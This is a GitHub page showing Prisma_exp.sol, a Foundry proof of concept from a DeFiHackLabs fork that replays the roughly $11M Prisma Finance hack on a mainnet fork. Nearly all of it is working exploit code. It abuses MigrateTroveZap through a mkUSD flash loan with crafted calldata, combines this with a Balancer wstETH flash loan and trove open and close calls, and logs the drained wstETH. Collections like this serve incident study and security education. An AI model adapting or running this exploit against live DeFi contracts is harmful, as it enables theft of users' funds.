forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Prisma_exp.sol
211 lines (165 loc) · 8.54 KB
/
Prisma_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test, console2} from "forge-std/Test.sol";
// @KeyInfo - Total Lost: ~$11M
// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202
// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c
// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee
// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7
// @Analyses
// https://twitter.com/EXVULSEC/status/1773371049951797485
// https://twitter.com/PrismaFi/status/1773371030129524957
/////////////////////////////////////// Interfaces ///////////////////////////////////////
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IMKUSDLoan {
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
interface IERC3156FlashBorrower {
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
interface IBorrowerOperations {
function setDelegateApproval(address _delegate, bool _isApproved) external;
function openTrove(
address troveManager,
address account,
uint256 _maxFeePercentage,
uint256 _collateralAmount,
uint256 _debtAmount,
address _upperHint,
address _lowerHint
) external;
function closeTrove(address troveManager, address account) external;
}
interface IPriceFeed {
function fetchPrice(address _token) external returns (uint256);
}
interface IBalancerVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
contract PrismaExploit is Test {
IBalancerVault public vault;
IPriceFeed public priceFeed;
address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28;
address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE;
address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719;
address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6;
address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A;
address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F;
bytes32 private constant attackTx = hex"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7";
function setUp() public {
// set up the fork
vm.createSelectFork("https://rpc.ankr.com/eth", attackTx);
// chainlink price feed and balancer vault
priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac);
vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
}
/////////////////////////////////////// Interfaces ///////////////////////////////////////
function test_exploit() public {
uint256 price = priceFeed.fetchPrice(wstETH);
console2.log("Price Feed Price: ", price);
// start with ~1800 mkUSD
deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);
console2.log("Attacker start with ~1800 mkUSD: ", IERC20(mkUSD).balanceOf(address(this)));
console2.log("start with wstETH balance before attack : ", IERC20(wstETH).balanceOf(address(this)));
// get mkUSD loan
// address account,
// address troveManagerFrom,
// address troveManagerTo,
// uint256 maxFeePercentage,
// uint256 coll,
// address upperHint,
// address lowerHint
// data
// bytes memory data = hex"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";
uint256 amount = 1_442_100_643_475_620_087_665_721;
address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 463_184_447_350_099_685_758;
bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);
IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);
address[] memory tokens = new address[](1);
tokens[0] = address(wstETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1_000_000_000_000_000_000;
uint256[] memory feeAmounts = new uint256[](1);
feeAmounts[0] = 0;
// get balancer wstETH loan
vault.flashLoan(address(this), tokens, amounts, abi.encode(""));
}
function receiveFlashLoan(
IERC20[] memory, /* tokens */
uint256[] memory, /* amounts */
uint256[] memory, /* feeAmounts */
bytes memory /* userData */
) external {
// approve borowOperations to spend wstETH with max amount
IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max);
// set delegate approval
IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);
// // open trove
IBorrowerOperations(BorrowerOperations).openTrove(
address(TroveManager),
address(this),
5_000_000_325_833_471,
1_000_000_000_000_000_000,
2_000_000_000_000_000_000_000,
address(upperHint),
address(lowerHint)
);
// // another mkUSD loan
// // // data
// bytes memory data = hex"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";
uint256 amount = 2_000_000_000_000_000_000_000;
address account = address(this);
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 1_282_797_208_306_130_557_587;
bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);
IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);
// cuurent contract mkUSD balance
// console2.log("mkUSD balance before closing the trove: ", IERC20(mkUSD).balanceOf(address(this)));
// close trove
IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));
uint256 returnAmount = 1_000_000_000_000_000_000;
// transfer the wstETH loan back to the vault
IERC20(wstETH).transfer(address(vault), returnAmount);
// current contract wstETH balance
console2.log("wstETH balance ~1281.79 ETH after attack: ", IERC20(wstETH).balanceOf(address(this)));
}
}